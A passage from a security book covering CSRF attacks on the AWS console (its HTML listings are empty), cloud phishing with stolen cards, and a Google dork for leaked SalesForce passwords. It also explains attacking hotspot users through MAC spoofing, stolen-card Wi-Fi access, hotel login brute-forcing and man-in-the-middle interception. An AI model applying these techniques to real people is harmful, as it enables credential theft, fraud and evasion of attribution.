\n\n\n\nThese two CSRF attacks are combined into a single attack via the following HTML:\n\n\n\n\n\n\nAs you can see in Figure 5-13, once the attacker generates a new Secret Access Key for\nthe EC2 victim, the victim’s old Secret Access Key becomes invalidated and she has to\nupdate all of her applications using the new Secret Access Key that the attacker forced.\nFigure 5-13. The victim’s new, attacker-forced Secret Access Key\nThe next attack also focuses on destroying the authentication mechanisms the EC2\nuser is using. In addition to the Access Key ID/Secret Access Key, AWS also provides\nthe option to use certificate-based authentication based on X.509 certificates. If the\nuser chooses, she can have AWS generate a certificate pair that she will use to\n138 | Chapter 5: Cloud Insecurity: Sharing the Cloud with Your Enemy\nDownload at WoWeBook.Com\n" }, { "page_number": 155, "text": "authenticate to AWS. This next attack forcibly deletes any X.509 certificates previously\ngenerated by the EC2 user. Once again, once the X.509 certificates are deleted, any\napplication that relied on X.509 certificate authentication must be redeployed with the\nnewly generated certificates. The attack begins with an HTTP GET request that initializes\nthe X.509 certificate deletion process. Here is the HTML source for the CSRF attack\n(initialize-delete-509.html):\n\n\n\n\n\nOnce the deletion process is initialized, the attacker follows up with an HTTP POST\nrequest that actually deletes the X.509 certificate. Once this HTTP POST request is made,\nthe EC2 user cannot revert or stop the deletion of her X.509 certificates stored by AWS.\nHere is the HTML source for the CSRF attack (delete-509.html):\n\n\n
\n\n\n\n\n
\n\n\n\nThese two CSRF attacks are combined into a single attack via the following HTML:\n\n\n\n\n\n\nOnce the HTML is executed within the context of the victim’s Amazon.com session,\nher X.509 certificate will be deleted without warning or consent. As Figure 5-14 shows,\nAmazon acknowledges that once the X.509 certificate has been deleted, it can no longer\nAttacks Against the Cloud | 139\nDownload at WoWeBook.Com\n" }, { "page_number": 156, "text": "be used to authenticate requests to AWS. The victim must now create a new X.509 pair\nto authenticate to AWS.\nFigure 5-14. Amazon acknowledgment of X.509 certificate deletion\nSecure by Default\nWhen setting up an AMI on Amazon, the EC2 user is presented with several options\nfor configuration and deployment. To simplify the configuration and deployment\nprocess, configuration wizards have been designed. These configuration wizards walk\nthe EC2 user through the steps of setting up an AMI on the EC2 environment. Although\nthese wizards allow for a user-friendly and convenient manner to configure an AMI,\nthey can steer a user toward accepting unnecessary risks by exposing unnecessary serv-\nices. For example, when an EC2 user creates her AMI instance on EC2 for the first time,\nshe will be presented with an option to configure the firewall rules for the AMI she is\nlaunching. EC2 uses security groups to manage the various firewall configurations and\nasks the user to create her first security group. Figure 5-15 shows the default permis-\nsions for the security group (on a Windows-based AMI with IIS).\nKnowing the default state for various AMIs can be very useful to an attacker targeting\napplications running within the Amazon cloud. Armed with this knowledge, the at-\ntacker can launch a targeted port scan of the EC2 IP range that may yield some very\ninteresting results. As we stated previously, deploying an AMI into the cloud doesn’t\nautomatically make the application running on that AMI secure. Weak passwords and\ndelayed patching are still major concerns for any Internet-facing service. In addition to\ninsecure defaults, some of the deployment decisions may lure some AMI users into\ninsecure behaviors. For example, when an EC2 user initially deploys her AMI to the\nAmazon cloud, the first connection to the Remote Desktop service yields the certificate\nwarning shown in Figure 5-16.\n140 | Chapter 5: Cloud Insecurity: Sharing the Cloud with Your Enemy\nDownload at WoWeBook.Com\n" }, { "page_number": 157, "text": "Not only does the certificate warning make it impossible to verify that an attacker has\nnot initiated a man-in-the-middle attack against the Remote Desktop service, but it also\ndivulges the specific instance ID, which is extremely useful in some of the attacks we\ndescribed in the previous section. A further investigation of the certificate that gener-\nated the certificate error shows not only that the server name does not match the default\nname provided by EC2, but also that it was issued by an untrusted authority. Fig-\nure 5-17 shows the certificate authority.\nAbusing Cloud Billing Models and Cloud Phishing\nThe specific billing details among the various cloud providers vary, but for the most\npart the structure of the rate plans is very similar. Most cloud providers base their rates\non CPU and bandwidth consumption. Figure 5-18 shows the Amazon EC2 pricing\ncalculator, which gives an indication as to which factors will have an effect on billing\nrate.\nAs Figure 5-18 shows, data transfer-in, data transfer-out, and the number of requests\nmade to the cloud application (requests to the application will incur CPU usage) will\nhave some effect on the price billed to the cloud user. Although one of the most touted\ncapabilities of cloud-based offerings is their ability to scale to meet abnormal spikes in\nFigure 5-15. Defaults for the initial security group\nAttacks Against the Cloud | 141\nDownload at WoWeBook.Com\n" }, { "page_number": 158, "text": "traffic and load, this ability can have disastrous repercussions for the owner of the\napplications in the cloud. Meeting the demands for a spike in network traffic due to a\nspike in customer interest is reasonable; however, scaling to meet the demands of a \ndistributed denial-of-service (DDoS) attack can be costly, and scaling to meet the in-\ncreased network load from a cloud-based DDoS attack can be extremely costly. Earlier\nin the chapter, we described an attack against the Amazon EC2 web management con-\nsole in which an attacker could launch an arbitrary AMI under the victim’s EC2 ac-\ncount. An attacker could have easily used the CSRF vulnerability to launch a million\ninstances of an AMI that attacks the victim’s other cloud applications, in essence using\nthe cloud to attack the cloud. The attacked application will respond to the increased\nload by spawning new instances, which will provoke the attacking AMIs to scale to\nmeet the new capacity. Since both the attacked AMIs and the attacking AMIs are\nlaunched from the victim’s EC2 account, the victim pays for both the attacking network\nand CPU bandwidth as well as the network and CPU bandwidth of the attacked\napplications.\nFigure 5-16. Certificate warning for Remote Desktop\n142 | Chapter 5: Cloud Insecurity: Sharing the Cloud with Your Enemy\nDownload at WoWeBook.Com\n" }, { "page_number": 159, "text": "High availability, quick deployment, and centralized administration make cloud de-\nployments ideal for fast-moving organizations with rapidly changing IT requirements. \nThose same characteristics also make the cloud appealing to phishers and other cyber\ncriminals. With cloud offerings, phishing and other cybercrime-related sites can begin\na vicious cycle, using the cloud as a foundation for their illegal operations. Cloud\nFigure 5-17. Certificate issued by an untrusted certificate authority\nFigure 5-18. Billing calculator provided by Amazon\nAttacks Against the Cloud | 143\nDownload at WoWeBook.Com\n" }, { "page_number": 160, "text": "offerings make enormous amounts of computing power available to anyone with a\ncredit card. What happens when an attacker gains access to a stolen/phished credit\ncard and uses a cloud-based application to make constant, high-bandwidth requests\nto other cloud applications? In addition to bandwidth and CPU consumption, other\npossibilities for cloud abuse also exist. These abuses are possible due to the design of\nthe various cloud offerings combined with the weaknesses in current payment systems.\nTake Amazon EC2, for example, which services each AMI from an Amazon-branded\ndomain, serving arbitrary content from Amazon-registered IP addresses. Once a phisher\nobtains a stolen credit card number, he can use that number to create an Amazon EC2\ninstance and upload a phishing AMI. Once the phishing AMI is uploaded and deployed,\nthe phishing site is “live” and is being served from an Amazon IP address. The phishing\nsite is likely to be up for a few hours before either the site is reported to a major phishing\nlist tracker or Amazon discovers the site and shuts down the running phishing site\ninstance. Both of these scenarios put Amazon in a security dilemma. The possible out-\ncomes are as follows.\nIn the first scenario, assume that a phishing site is up for a few hours, collecting various\npieces of user information and credit card data. Eventually, a potential victim reports\nthe phishing site to a major phishing blacklist site such as Phishtank.com. Once Phish\ntank.com receives the phishing report, it will verify the phishing site and publish the\ndomain name to its phishing blacklist. The domain of the phishing site is an Amazon-\nbranded domain as the phisher used EC2 to serve the contents from a phishing kit.\nOnce the Amazon-branded domain is included in a few major phishing blacklists, the\nbrowser-based phishing lists will eventually pick it up, essentially tainting the EC2\ndomains and possibly preventing their future use.\nIn the second scenario, assume that the phishing site is up for a few hours, collecting\na few hundred or even thousands of credit card numbers and associated user identities.\nOnce the user information and credit card data is stolen through the phishing site on\nEC2, that AMI can actually use the stolen data to register a new account with EC2,\ndeploying yet another phishing site onto the cloud. The new AMI can poll the old\nphishing site for indications that it has been taken down. Once Amazon removes the\nmalicious AMI, the new AMI detects that the old phishing site is down, the new AMI\ndeploys a new phishing site to take its place, and the cycle continues.\nGoogling for Gold in the Cloud\nUsers can sign up for trial accounts on virtually all cloud providers. The trials give users\na chance to examine the environment and determine the suitability of the platform.\nSalesForce.com, for example, allows users to test the platform before committing to a\npurchasing decision. The SalesForce.com trial sign-up is simple: the user provides some\nbasic information about herself on a SalesForce.com web page and provides an email\naddress so that SalesForce.com can contact her. Figure 5-19 shows the Sales\nForce.com sign-up page.\n144 | Chapter 5: Cloud Insecurity: Sharing the Cloud with Your Enemy\nDownload at WoWeBook.Com\n" }, { "page_number": 161, "text": "Figure 5-19. SalesForce.com sign-up page\nOnce the user signs up, the email address she provided is sent a “welcome” message. \nThe welcome message is interesting because it contains the user’s username and pass-\nword. Figure 5-20 shows the “welcome” email from SalesForce.com.\nIgnoring the fact that the credentials could possibly be sent to a clear-text email account,\none piece of the message is particularly interesting from a security standpoint. Sales\nForce.com not only provides the username and password for the newly created account,\nbut it also provides a link that passes the username and password in the URL. Fig-\nure 5-21 shows the username and password being provided in the URL.\nPassing sensitive data in URLs brings about some unique security challenges. One of\nthe potential security issues involved with passing sensitive data in the URL is the pos-\nsibility that Google (or some other search engine) may cache the sensitive data. Having\na basic understanding of how to craft a Google query comes in handy. Here the attacker\nis looking for the following: pw= in the query string, and results filtered to the Sales\nForce.com domain. Here is the resulting Google query:\nhttp://www.google.com/search?\n q=inurl:%22pw%3D%22+site:salesforce.com&hl=en&filter=0\nAttacks Against the Cloud | 145\nDownload at WoWeBook.Com\n" }, { "page_number": 162, "text": "Figure 5-22 shows the results from the Google query.\nThis Google query shows the usernames and passwords for various SalesForce.com\naccounts. Some of these accounts are no longer active; however, others are for active\nSalesForce.com customers. The attacker now has access to those SalesForce.com ac-\ncounts and software. As a bonus to the attacker, SalesForce.com uses email addresses\nfor usernames, allowing the attacker to check email account password reuse on all the\ndiscovered SalesForce.com accounts.\nSummary\nCloud computing brings about many innovations and advances in the information\ntechnology realm for which executives and organizations around the world have been\nclamoring. Cloud computing allows organizations to focus on their core business com-\npetencies while ensuring that their IT infrastructures are flexible enough to meet the\ndemands of current and future users. Cloud computing does not solve all of today’s\nsecurity problems, however; in fact, it creates new security problems that must be dealt\nwith in addition to the existing problems. Cloud computing does not magically protect\napplication logic from abuse or prevent attacks against the application level. Uploading\nthe most hardened virtual machine will not prevent attacks against the web-based\nmanagement consoles that are used to administer the virtual machines. The power of\nthe cloud can be harnessed against other clouds, driving each to the limit of its per-\nformance and functionality.\nFigure 5-20. Welcome email to new SalesForce.com users\nFigure 5-21. SalesForce.com username and password in link\n146 | Chapter 5: Cloud Insecurity: Sharing the Cloud with Your Enemy\nDownload at WoWeBook.Com\n" }, { "page_number": 163, "text": "High availability comes at a cost; this cost can be high if an attacker chooses to launch\na sustained, data-intensive attack against the cloud provider. Fortunately, newly emerg-\ning attacks against cloud systems will keep security engineers on their toes as they fight\nto defend your data and application logic in the cloud.\nFigure 5-22. Google query results with SalesForce.com usernames and passwords\nSummary | 147\nDownload at WoWeBook.Com\n" }, { "page_number": 164, "text": "Download at WoWeBook.Com\n" }, { "page_number": 165, "text": "CHAPTER 6\nAbusing Mobile Devices: Targeting\nYour Mobile Workforce\nToday’s workforce is a mobile army, traveling to the customer and making business\nhappen. Technology has evolved to the point where organizations can offer seamless\ntransitions from the traditional office to work done on the road. Your employees need\naccess to your organization’s data to get work done, even when they are traveling\nthousands of miles away from corporate headquarters. Once your employees leave the\ncorporate network and hit the road, not only must they take care of all the logistical\nchallenges of travel, but also they must navigate a maze of hostile networks.\nThe explosion of laptops, wireless networks, and powerful cell phones, coupled with\nthe need to “get things done,” creates a perfect storm for the next-generation attacker.\nEach device your employees carry offers yet another avenue for attackers to steal your\norganization’s data. When your employees join the Wi-Fi network at the airport, they\nare under attack. When your employees plug into the hotel network, they are under\nattack. When your employees visit a coffee shop to send a couple of emails, they are\nunder attack.\nHostile traffic will bombard your corporate devices. Unfortunately, the indicators of\nfull-blown attacks against your mobile devices are not obvious. Although your corpo-\nrate network may have the latest intrusion detection systems (IDSs) and a crack team\nof security professionals monitoring for suspicious activity, your lone employee on the\nroad doesn’t have these defenses. Your employees are left to defend your organization’s\ndata by themselves, hoping the configuration of their mobile devices will withstand the\nfull onslaught of attacks. In this chapter, we will discuss the various methods used to\ntarget and attack the mobile workforce. These methods are based on common scenarios\nthe mobile workforce encounters, and they focus on data theft from the parent organ-\nization through the mobile worker.\n149\nDownload at WoWeBook.Com\n" }, { "page_number": 166, "text": "Targeting Your Mobile Workforce\nAs your employees travel from location to location, next-generation hackers are waiting\nfor them. They wait for the data that is so vital in everyday business to traverse the\nshared networks and airwaves. Attackers have the advantage because your mobile\nworkforce is in a hurry; they are forced to join networks they are unfamiliar with, and\nthey are striving to make the most of their limited time at the remote site. Aside from\nbusiness, basic human nature also works against your organization. Your employees\nare away from familiar environments, friends, and family. This makes their use of social\nnetworking, IP-based communications, and personal web mail more likely. All of these\nfactors help attackers deliver effective attacks against your employees in an attempt to\nsteal their data.\nYour Employees Are on My Network\nWhen your employees join a Wi-Fi network at their favorite coffee shop, airport, hotel,\nor any place that offers a Wi-Fi hotspot, they are in fact joining a hostile network. The\nlogo or the organization sponsoring the hotspot is irrelevant, as despite that organiza-\ntion’s best intentions, once an attacker joins the network all of the other users of the\nnetwork are at risk. Most hotspots have little or no protection mechanisms to defend\nor segregate users from each other. The majority of the organizations that provide hot-\nspots simply do not have the staffing, technical expertise, or inclination to detect even\nthe most blatant attacks on their networks. Once an attacker has connected to the\nhotspot, she is free to passively sniff the wireless network for juicy information to fly\nby on the “wire,” she can initiate active network-based attacks such as Address Reso-\nlution Protocol (ARP) poisoning, and she can even identify individual targets sharing\nthe Wi-Fi network and begin active, targeted attacks against those hosts.\nThe initial footprinting and targeting of open hotspots is painless and simple. Open\nwireless networks (such as those found at your favorite coffee shop, hotel, or airport)\nare designed to make the connection process user-friendly and easy. Once an attacker\nhas identified an organization she wishes to attack, a number of public services are\navailable to help her narrow her attack to hotspots that are likely to yield promising\nreturns.\nUsing a service such as Wi-FiHotSpotList.com, an attacker can find all\nof the wireless access points near a targeted organization. Wi-FiHot-\nSpotList.com shows only U.S. locations, but other sites can provide\nhotspot locations for Europe and Asia.\nFigure 6-1 shows all the Wi-Fi access points near a major software company in\nRedmond.\n150 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 167, "text": "As Figure 6-1 shows, hundreds of open Wi-Fi access points near our target are dis-\nplayed, along with the addresses of each hotspot. An attacker is nearly guaranteed that\nsome patrons of these establishments are employees of our target organization or are\nvendors attempting to do business with the targeted organization. For those who are\nmore visually inclined, services such as gWiFi.net will map physical addresses onto a\nGoogle Map for quick reconnaissance of Wi-Fi networks near a targeted organization.\nFigure 6-2 shows an example of a gWiFi.net query.\nFigure 6-1. Wi-Fi hotspot list\nTargeting Your Mobile Workforce | 151\nDownload at WoWeBook.Com\n" }, { "page_number": 168, "text": "Getting on the Network\nFree Internet access is becoming increasingly common. Many establishments offer free\nInternet access via a hotspot incentive to bring customers in. Free access points make\nit extremely easy for an attacker to conduct attacks against users sharing the network,\nand they typically contain hundreds of users. All the attacker needs to do is find the\nfree hotspot and join the network, and she can begin attacks on all the other users on\nthe network. Figure 6-3 shows a sample free Wi-Fi access point login portal.\nAlthough completely free and anonymous access is ideal, most networks require some\nsort of authentication to join. The authentication can be as simple as an “access code,”\nor the last name of a guest staying at a hotel; sometimes gaining access to a hotspot\nnetwork can require a credit card. The following section will cover a few common\nFigure 6-2. A gWiFi.net query\n152 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 169, "text": "scenarios used to gain access to a network without having to provide information that\ncan be used to trace activity back to the attacker.\nBefore connecting to a hotspot network, it is advisable that the Media Access Control\n(MAC) address for the connecting device be changed. The MAC address is a unique\nidentifier that is assigned to every network adapter. The MAC address is used to\nuniquely identify a particular network device on a network for routing purposes. Each\nMAC address consists of two separate parts: the Organizationally Unique Identifier\n(OUI) and the network interface controller (NIC). The OUI identifies the manufacturer\nof the network adapter connecting to the network, and the NIC portion of the MAC\naddress provides a unique identifier for the individual network adapter produced by\nthe manufacturer identified in the OUI. Together, these identifiers produce a technique\nfor networking protocols to identify the various devices on a network.\nThe OUI also provides a nice way to track malicious activity on the network. For ex-\nample, when you purchase a laptop from your favorite computer hardware store, the\nreceipt for the purchased laptop usually includes the laptop’s serial number. From this\nserial number, the manufacturer can determine what MAC address was associated with\nthat particular serial number. If you purchased the laptop with a credit card, a trail\nfrom MAC→serial number→receipt→credit card→individual now exists. To avoid\nFigure 6-3. Free, anonymous Wi-Fi hotspot\nTargeting Your Mobile Workforce | 153\nDownload at WoWeBook.Com\n" }, { "page_number": 170, "text": "creating this trail, an attacker can purchase the network device (network card or laptop)\nvia cash or change/spoof the MAC address via a MAC spoofer.\nAvoid visiting your personal email or having other items that can be\nlinked back to you while using a spoofed MAC address.\nOnce the MAC address is changed and the target organization has been selected, the\nattacker travels to one of the Wi-Fi hotspots near the target organization. Although\nfree, anonymous Wi-Fi hotspots are becoming increasingly prevalent, it is more likely\nthat the attacker will encounter some requirement to provide some “authentication”\nto the Wi-Fi hotspot. One of the most common is credit-card–based authentication.\nCertain Wi-Fi providers have realized that many users are willing to pay for temporary\nWi-Fi access. To capitalize on this willingness, the Wi-Fi access point simply asks the\nuser to pay via credit card to access the hotspot. Figures 6-4 and 6-5 show a typical\nrequest for credit card information.\nFigure 6-4. Access options for a popular hotspot\n154 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 171, "text": "From an attacker’s perspective, providing identifying information such as a personal\ncredit card number can be problematic. The attacker wishes to abuse the network\ninfrastructure and use the network to attack other users. If the maintainer of the net-\nwork discovers the malicious activity, the maintainer can easily associate the activity\nto the credit card information used to gain access to the hotspot network. Using some\nof the techniques we describe in Chapter 7, the attacker can visit a location that offers\nanonymous, free Wi-Fi access. From here, she can harvest stolen credit card data from\nphishing victims that have their data posted to various phishing forums. Once the at-\ntacker has the stolen credit card data for a few unsuspecting victims, she can travel to\nFigure 6-5. Credit card request from a popular hotspot provider\nTargeting Your Mobile Workforce | 155\nDownload at WoWeBook.Com\n" }, { "page_number": 172, "text": "her target location and use the stolen data to buy access to the network. Any network\nactivity will be traced back to the stolen data. This muddies the trail, making it\nextremely difficult to trace malicious activity back to the attacker. Figure 6-6 shows a\npage with credit card data that an attacker can use to masquerade connections under\nanother person’s identity.\nFigure 6-6. Stolen credit card data\nAnother common scenario occurs in hotels that offer Wi-Fi access points. Typically,\nhotels offer free Wi-Fi access to hotel guests or offer access for a small fee. Hotels don’t\nwant anonymous users off the street associating with their Wi-Fi access points, so they\nhave developed a simple method to authenticate hotel guests to the hotel Wi-Fi access\nhotspot. Typically, the hotel sets up a login web page that asks the guest to provide his\nlast name and room number to be authenticated. The guest must be logged in before\nhe is allowed to reach the Internet. Figure 6-7 shows a typical hotel Wi-Fi authentication\nweb page that requests a guest’s last name and room number.\nAn attacker can gain access to this information in several ways. She can listen as various\nguests check in, as the receptionist always provides a greeting such as “We have your\nreservation, Mr. Hardin, thank you for choosing our hotel.” Some hotel staff members\nwill even verbally state the room number, giving the attacker all the information she\nneeds to gain access to the hotel’s wireless network. The attacker could also glean the\nguest’s last name from a garment bag or an airline tag on a piece of luggage. Once the\nattacker gleans the guest’s last name, she can follow the guest to the elevator and simply\nobserve on which floor the guest exits the elevator. The attacker can even follow the\n156 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 173, "text": "guest to his room and just continue to walk on by as the guest enters his room. Even if\nthe attacker knows only the floor the guest is staying on, she can guess the room number\nwith ease using a simple script.\nFor attackers who are afraid of a little social reconnaissance, it’s easy to pick a common\nlast name and brute-force all the room numbers with a tool such as Burp Intruder. In\nFigure 6-8 an attacker has determined that a guest named Bryan Smith is staying at the\ntarget hotel. The attacker is interested in this particular hotel because it is near a large\ntechnology company and many visiting businesspeople stay at this hotel due to its\nFigure 6-7. Room number and last name used to authenticate to the hotel’s network\nTargeting Your Mobile Workforce | 157\nDownload at WoWeBook.Com\n" }, { "page_number": 174, "text": "proximity to the target organization’s headquarters. The attacker begins by locating a\ncoffee shop on the hotel premises. Once at the coffee shop the attacker simply associates\nwith the hotel Wi-Fi hotspot. Then the attacker is presented a welcome page similar to\nthe one shown in Figure 6-8.\nFigure 6-8. Welcome page for hotel hotspot\nThe welcome page displays information about the surrounding area and the current\nweather, but the attacker is interested in joining the hotel network only so that she can\ninitiate attacks against the hotel’s guests. The attacker is immediately drawn to the\nInternet Access option shown in Figure 6-9.\nOnce the attacker selects the Internet Access option she is presented with several op-\ntions to “authenticate” to the hotel network. As we discussed earlier, one option is to\nprovide the last name of a guest of the hotel as well as the hotel room the guest is staying\nin. Figure 6-10 shows this option on the hotel website.\nArmed with knowledge of the guest’s name, the attacker captures the POST request made\nby the web application. If the attacker has done her reconnaissance, she will know that\nthe hotel has 7 floors, 258 rooms, and 4 suites, information she would have obtained\nvia the hotel’s website before traveling to the hotel (see Figure 6-11).\nNow, armed with a guest’s name and the total number of rooms available, the attacker\nsets up a script or uses a tool such as Burp Intruder to enumerate the possible rooms\n158 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 175, "text": "for Bryan Smith. Figure 6-12 shows Burp Intruder being readied to brute-force hotel\nroom numbers.\nFigure 6-9. Access to the hotspot network\nFigure 6-10. Hotel hotspot authentication\nTargeting Your Mobile Workforce | 159\nDownload at WoWeBook.Com\n" }, { "page_number": 176, "text": "Figure 6-11. Information related to the target hotel\nFigure 6-12. Burp Intruder being used to brute-force hotel rooms\nBurp Intruder makes it easy to brute-force numbers, especially if the attacker already\nknows what floor the victim is staying on. Figure 6-13 shows the various brute force\noptions available to the attacker.\n160 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 177, "text": "Refining this attack and choosing hotels near a target organization is a great way for an\nattacker to pilfer information related to the target organization. Hotels near the target\norganization are convenient for traveling employees who are visiting a remote branch,\nand will also likely house people from organizations that wish to do business with the\ntarget organization.\nAlthough this example focuses on the scenario in which the hotel asked for a last name\nand room number, attackers can also use automated brute force attacks for any values,\nincluding usernames and passwords, coupon codes, or other information that is re-\nquested to gain access to a network. For example, the sign-in page shown in Fig-\nure 6-14 shows an access point requesting a “connect code.”\nThe last option we will discuss here is that of setting up a Wi-Fi access point with the\nsame SSID as the target hotspot. Many wireless connection managers are designed in\nsuch a way that if two access points are broadcasting the same SSID, the wireless con-\nnection manager will choose and connect to the stronger signal. This can be difficult\nto achieve, especially if the attacker is forced to use a covert position near (but off-site\nfrom) the shop offering the network.\nOnce the attacker gains access to the hotspot (or creates one of her own), a variety of\nattacks now become possible. Once joined to the network, the attacker can attack any\nother user associated with that same hotspot network. Software and configurations\nused by today’s information systems are simply not designed to withstand direct assault\nfrom a hostile network. Chapter 3 has a list of protocols that were designed with the\npremise that the local network (and everyone on the local network) should be consid-\nered trusted. Once the attacker has associated herself with a hotspot, she can abuse\nFigure 6-13. Brute force options for Burp Intruder\nTargeting Your Mobile Workforce | 161\nDownload at WoWeBook.Com\n" }, { "page_number": 178, "text": "and exploit all the weaknesses in the protocols we described in Chapter 3. Even if a\nlaptop or a device issued to your employee has been designed and hardened to with-\nstand the direct, unrelenting onslaught of attacks, the actions of your employees may\nundermine or simply negate the very mechanisms put in place to protect them.\nThe beauty of these attacks is that the attacker never directly attacks the target organ-\nization network. Your network access may be hardened like a military compound, but\nthe attacker isn’t directly attacking your network. Instead, the attacker uses networks\nthat you have no control over, focusing on the individual clients associated with the\nhotspot (your mobile employees). The target organization never sees the attacks and\nthe victims are typically unaware that they are being dealt an onslaught of attacks. The\nonly way to thwart these attacks is with strong client-side protection mechanisms and\nstrong user awareness. Even if your client-side protection mechanisms are robust, do\nyou trust all of your mobile employees to defend themselves from direct attacks?\nDirect Attacks Against Your Employees and Associates\nOnce an attacker is associated with a hotspot, she is free to initiate attacks against any\nother user on that hotspot. The attacks can be extremely stealthy, or they can be blatant\nattacks against the entire network. Many of the attacks we discussed in Chapter 3 can\nnow be initiated against all of those users joined to the Wi-Fi hotspot. Attacks such as\nsniffing the network for clear-text protocol exchange or clear-text data traversing the\nnetwork can be a gold mine for attackers. Tools such as Cain & Abel (briefly discussed\nin Chapter 3) are ideal for passive attacks, sniffing sensitive data as it traverses the\nnetwork. Although passive attacks are very stealthy and extremely difficult for an un-\ntrained user to spot, passive attacks can be “hit or miss.” Many of the enterprise-grade\napplications (both web and traditional client-side apps) have protection mechanisms\nFigure 6-14. Connect code for access to the hotel hotspot\n162 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 179, "text": "against passive sniffing. Although passive attacks can lead to very fruitful rewards, they\ncan require patience and some legwork on the attacker’s part. Some attackers are im-\npatient, have limited time on the hotspot, or are in a position where the users of the\nhotspot are rushed and are more likely to ignore warnings. In these cases, active attacks\nare more ideal.\nActive attacks such as ARP poisoning and man-in-the-middle attacks are attacks against\nthe network in an attempt to circumvent the protection mechanisms that guard your\nemployees’ data. We described some of these active attacks against the network in\nChapter 3. The attacker on the network masquerades as various endpoints on the net-\nwork, examining the traffic as it traverses the network. The difference between passive\nsniffing and active man-in-the-middle attacks is that active man-in-the-middle attacks\nhave the ability to examine encrypted network traffic (SSL/HTTPS, TLS, etc.) as it\ntraverses the network. Most software that utilizes encryption to protect data in transit\nhas specific protection mechanisms to protect against man-in-the-middle attacks and\nusually notifies the user of the suspicious activity. Sometimes these warning messages\nare difficult to understand, but more importantly, if the user is in a rush or has limited\ntime, he is more likely to ignore/bypass the warning.\nTake, for example, airport hotspots. Airport hotspots are exactly the same as other\nhotspots located in hotels and coffee shops. Although airport security is keen to con-\nfiscate dangerous items and bottled water, they don’t think twice about letting legiti-\nmate computer equipment through (high-powered Wi-Fi cards, antennas, etc.).\nSpecialized, high-powered Wi-Fi network cards look like normal network cards. Air-\nports are a target-rich environment, as airports are full of nontechnical business types\nwho are in a hurry to “send that email” before their plane leaves. When the passengers\nare boarding and there is little time before a long flight, many will circumvent and ignore\na slew of security warnings to send an email or presentation. Figure 6-15 shows a typical\nSSL error message for the Safari browser, and Figure 6-16 shows a typical SSL error\nmessage indicating a man-in-the-middle condition on the network when attempting to\nconnect to a corporate mail server.\nFigure 6-15. Safari SSL certificate error message\nAlthough each error message warns of a potentially dangerous situation, both warnings\nallow the user to “continue” and accept the risks associated with the warnings (in fact,\nit’s the default option). Figure 6-15 shows the user using the Safari browser in an at-\ntempt to access his personal web mail account, and Figure 6-16 shows an error when\nTargeting Your Mobile Workforce | 163\nDownload at WoWeBook.Com\n" }, { "page_number": 180, "text": "attempting to connect to an organization’s mail server. When the employee clicks the\nContinue button, the attacker now has access to the organization’s mail server and all\nthe mail associated with your employee! To fully appreciate the severity of this situa-\ntion, ask yourself the following questions:\n• Do your employees truly understand the risks associated with the error messages\nin Figures 6-15 and 6-16?\n• Are you willing to allow your employees to make security decisions based on the\nerror messages presented in Figures 6-15 and 6-16 when connecting to your or-\nganization’s IT assets?\n• If your plane was boarding and you had an important presentation deck you needed\nto send to your boss, would it affect your decision making related to these error\nmessages?\nFigure 6-16. Mail.app SSL certificate error\n164 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 181, "text": "Email credentials are especially valuable to attackers. Gaining access to\neven a personal account for one of your organization’s employees can\nhave disastrous consequences for your organization.\nThat last type of attack involved a direct attack against the client joined to the network.\nEach user associated with the hotspot receives an IP address. When the user receives\nthe IP address, he is subject to direct attacks from other users on the same network.\nYou can use tools such as Nessus from Tenable Network Security (briefly discussed in\nChapter 3) to identify configuration issues on all the hosts associated with the hotspot.\nIf your employee has been on the road for a significant period of time, there is a good\nchance he may have missed a few patches or updates that are normally pushed out by\ncorporate IT. Once these vulnerabilities are discovered, tools such as Metasploit make\nquick work of vulnerable hosts, many times giving an attacker full control over the\ncompromised host (see Figure 6-17).\nFigure 6-17. The Metasploit Framework\nThe Metasploit Framework provides weaponized exploits for various\nvulnerabilities on Windows, Linux, and even Mac platforms.\nTargeting Your Mobile Workforce | 165\nDownload at WoWeBook.Com\n" }, { "page_number": 182, "text": "Putting It Together: Attacks Against a Hotspot User\nNow that you understand how attackers can anonymously join a wireless network and\nattack the users on that network, we will present a scenario in which an unsuspecting\ncorporate user joining an untrusted network results in the compromise of sensitive\ncorporate data. This scenario unites the previously discussed techniques into a single\nattack against a corporate user.\nUsing the various tools available on the Internet, the attacker locates Wi-Fi access\npoints near the target organization. The attacker chooses one of the numerous access\npoints, picking a well-known and popular coffee shop near the target organization\n(greater than five miles away); see Figure 6-18.\nFigure 6-18. gWiFi.net mapping Wi-Fi hotspots near a major IT organization\nThe attacker uses a stolen credit card (see Chapter 7) to purchase time on the Wi-Fi\nnetwork, allowing her full access to the network under an assumed identity. Once on\nthe network, the attacker scans the MAC addresses of the various machines on the\nnetwork, targeting those that are likely to belong to the target organization. A little \nreconnaissance goes a long way: if the target organization has standardized its corporate\nlaptops, picking out employee hardware among others on the network becomes easy.\nIn this example, the attacker has joined the Wi-Fi hotspot and enumerated the MAC\naddresses for all the machines on the same subnet using Cain & Abel. The MAC ad-\ndresses give the attacker some indication of what types of machines are on the network.\nFigure 6-19 shows all the Intel-based machines on the network.\nFigure 6-20 shows how an attacker can use MAC addresses to target users using Black-\nBerry devices (BlackBerry is made by Research in Motion, or RIM). It is likely that some\n166 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 183, "text": "of these devices are associated with the local Wi-Fi hotspot, as opposed to using the\ncellular network. Figure 6-20 shows all the RIM devices on the network.\nIn this example, the attacker has done her homework. She has determined that the\ntarget organization uses MacBooks and examines all the MacBooks joined to the local\nsubnet. Many of these MacBooks are likely to belong to employees of the target or-\nganization. Figure 6-21 shows the targeted MacBooks on the Wi-Fi network.\nVPNs bring the “chicken and the egg” problem. To establish a VPN\nconnection, 